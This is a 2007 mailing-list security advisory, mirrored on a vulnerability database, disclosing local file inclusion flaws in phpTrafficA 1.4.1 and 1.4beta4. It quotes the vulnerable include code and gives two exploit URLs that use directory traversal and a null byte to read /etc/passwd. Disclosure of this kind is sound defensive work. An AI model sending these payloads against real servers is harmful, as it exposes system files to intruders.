Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16144
HistoryFeb 22, 2007 - 12:00 a.m.

[UNIX] phpTrafficA Local File Inclusion

2007-02-2200:00:00
vulners.com
44

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

    • promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html


phpTrafficA Local File Inclusion

SUMMARY

<http://soft.zoneo.net/phpTrafficA/&gt; phpTrafficA is "a GPL statistical
tool for web traffic analysis, written in php and mySQL. It can track
access counts to your website, search engines, keywords, and referrers
that lead to you, operating systems, web browsers, visitor retention, path
analysis, and a lot more". Input passed to the "file" parameter in "
plotStat.php" and "lang" parameter in "banref.php" is not properly
verified, before it is used to include files. This can be exploited to
include/see arbitrary files from local resources.

DETAILS

Vulnerable Systems:

  • phpTrafficA version 1.4.1
  • phpTrafficA version 1.4beta4

Vulnerable Code:
Code found inside phpTrafficA/plotStat.php:
//Vulnerable Code :line 14
if (!isset($file) or $file=="") {$file = $_GET['file'];}
include("./Php/phplot.php");
include("./tmp/".$file);

Code found inside phpTrafficA/plotStat.php:
//Vulnerable Code :line 16
if (!isset($lang) or $lang == "") {
$lang = $_GET["lang"];
if ($lang == "") { $lang = $_POST["lang"];}
}
include ("./Lang/$lang.php");

Exploit:
The following URL will cause local file inclusion
http://[HOST]/phpTrafficA/plotStat.php?file=/…/…/…/…/…/…/…/…/…/etc/passwd
http://[HOST]/phpTrafficA/banref.php?lang=/…/…/…/…/…/…/…/…/…/etc/passwd%00

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]>
bugtraq ir.
The original article can be found at:
<http://www.bugtraq.ir/articles/file-inclusion/phpTrafficA-1.4.1-Local-File-Inclusion/1&gt; http://www.bugtraq.ir/articles/file-inclusion/phpTrafficA-1.4.1-Local-File-Inclusion/1

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]

====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.